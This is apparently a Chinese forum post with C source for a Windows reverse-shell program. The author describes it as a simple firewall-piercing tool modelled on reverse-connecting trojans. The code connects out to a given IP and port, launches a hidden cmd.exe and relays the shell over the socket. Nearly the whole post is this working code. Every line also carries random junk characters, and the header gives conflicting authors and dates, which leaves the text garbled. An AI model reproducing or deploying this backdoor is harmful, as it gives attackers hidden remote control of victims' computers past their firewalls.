Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 >eWORf>7  
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/* ============================== x^Zm:Jrw~  
Rebound port in Windows NT N,
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By wind,2006/7 Dxe]LES\]  
===============================*/ f\?1oMO\  
#include xYY^tZIV  
#include 8p#V4liE  
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#pragma comment(lib,"wsock32.lib") q2U?EP{8~  
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void OutputShell(); ( 6ucA  
SOCKET sClient; %@8#+#@J0  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; MaLH2?je^n  
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void main(int argc,char **argv) .O SQ8W}  
{ &79F Uac  
WSADATA stWsaData; N|%X/UjZ2.  
int nRet; :1;"{=Yx}  
SOCKADDR_IN stSaiClient,stSaiServer; %'/^[j#

 
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if(argc != 3) 2Vs+8/  
{ jW{bP_,"  
printf("Useage:\n\rRebound DestIP DestPort\n"); <B'PB"R3y  
return; $h[Q}uW  
} %pLqX61t=  
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WSAStartup(MAKEWORD(2,2),&stWsaData); wScr:o+K>L  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $wbIe
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stSaiClient.sin_family = AF_INET; -;Te+E_  
stSaiClient.sin_port = htons(0); (C.aQ)|T  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xEv?2n@A  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Tfx-h)oP3  
{ Ya-GDB;L  
printf("Bind Socket Failed!\n"); R,fAl"wMu  
return; f ~bgZ  
} -j@IDd
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)@<HG$#  
stSaiServer.sin_family = AF_INET; `~\8fN  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wh!8\9{g  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 24sQon  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N,.awA{  
{ Htfq?\ FD  
printf("Connect Error!"); DR]4Tcz#  
return; ..w$p-1  
} m*\LO%s]E  
OutputShell(); qE8Di\?  
} m-#]v}0A  
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void OutputShell() 7PwH&rI  
{ y|NY,{:]  
char szBuff[1024]; @H^\PH?pp  
SECURITY_ATTRIBUTES stSecurityAttributes; r%>EiHpCU  
OSVERSIONINFO stOsversionInfo; KFy|,@NI  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; D_G]WW8  
STARTUPINFO stStartupInfo; )@] W=  
char *szShell; mX, @yCI  
PROCESS_INFORMATION stProcessInformation; C =B a|Z  
unsigned long lBytesRead; eR/X9<  
# %'%LY=  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ggpa!R  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); k(v &+v  
stSecurityAttributes.lpSecurityDescriptor = 0; AP8J28I  
stSecurityAttributes.bInheritHandle = TRUE; 2/Ye<.#  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); OAEa+V
 
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }=.C~f]A  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); LX #.  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xK4E+^ b  
stStartupInfo.wShowWindow = SW_HIDE; vV*/"'>  
stStartupInfo.hStdInput = hReadPipe; |!1iLWQ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jS5K:yx<  
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GetVersionEx(&stOsversionInfo); KXUJ*l-5  
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switch(stOsversionInfo.dwPlatformId) =#wE*6T9  
{ :5jorVu  
case 1: I*mBU^<9V  
szShell = "command.com"; PW
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break; 2uMSeSx$  
default: = N:5#A  
szShell = "cmd.exe"; L Z3=K`gj  
break; U.<ad  
} n@S|^cH  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); GkKoc v  
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send(sClient,szMsg,77,0); 5RYrAzQo  
while(1) -Byl~n3*D  
{ /)rv Ndn  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); k_Lv\'Ok  
if(lBytesRead) JqEo~]E]  
{ lg 1r]  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); SV^[)p)  
send(sClient,szBuff,lBytesRead,0); t~Ic{%bdA  
} HLh]*tQG  
else P{,=a]x,mz  
{ j3>&Su>H4  
lBytesRead=recv(sClient,szBuff,1024,0); `|:` yl  
if(lBytesRead<=0) break; P+0-h  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =C
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} Cn>t"#zs!~  
} u#3Cst8Y  
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return; WTZuf9:  
}